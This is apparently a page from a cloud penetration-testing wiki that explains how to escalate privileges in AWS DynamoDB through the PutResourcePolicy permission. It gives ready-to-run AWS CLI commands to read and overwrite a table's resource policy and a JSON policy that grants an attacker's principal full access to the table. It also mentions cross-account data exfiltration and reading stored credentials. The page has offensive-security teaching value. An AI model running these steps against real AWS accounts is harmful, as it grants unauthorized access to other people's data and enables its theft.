AWS - DynamoDB Privesc

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dynamodb

For more info about dynamodb check:

AWS - DynamoDB Enum

`dynamodb:PutResourcePolicy`, and optionally `dynamodb:GetResourcePolicy`

Since March 2024, AWS offers resource based policies for DynamoDB (AWS News).

So, if you have the dynamodb:PutResourcePolicy for a table, you can just grant yourself or any other principal full access to the table.

Granting the dynamodb:PutResourcePolicy to a random principal often happens by accident, if the admins think that granting dynamodb:Put* would only allow the principal to put items into the database - or if they granted that permissionset before March 2024...

Ideally, you also have dynamodb:GetResourcePolicy, so you do not overwrite other potentially vital permissions, but only inject the added permissions you need:

bash

# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
	--resource-arn <table_arn> \
	--query 'Policy' \
	--output text > policy.json

If you cannot retrieve the current policy, just use this one that grants full access over the table to your principal:

json

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "FullAccessToDynamoDBTable",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
            },
            "Action": [
                "dynamodb:*"
            ],
            "Resource": [
                "arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
            ]
        }
    ]
}

If you need to customize it, here is a list of all possible DynamoDB actions: AWS Documentation. And here is a list of all actions that can be allowed via a resource based policy AND which of these can be used cross-account (think data exfiltration!): AWS Documentation

Now, with the policy document policy.json ready, put the resource policy:

bash

# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
	--resource-arn <table_arn> \
	--policy "$(cat policy.json)"

Now, you should have the permissions you needed.

Post Exploitation

As far as I know there is no other direct way to escalate privileges in AWS just by having some AWS dynamodb permissions. You can read sensitive information from the tables (which could contain AWS credentials) and write information on the tables (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the DynamoDB Post Exploitation page:

AWS - DynamoDB Post Exploitation

TODO: Read data abusing data Streams

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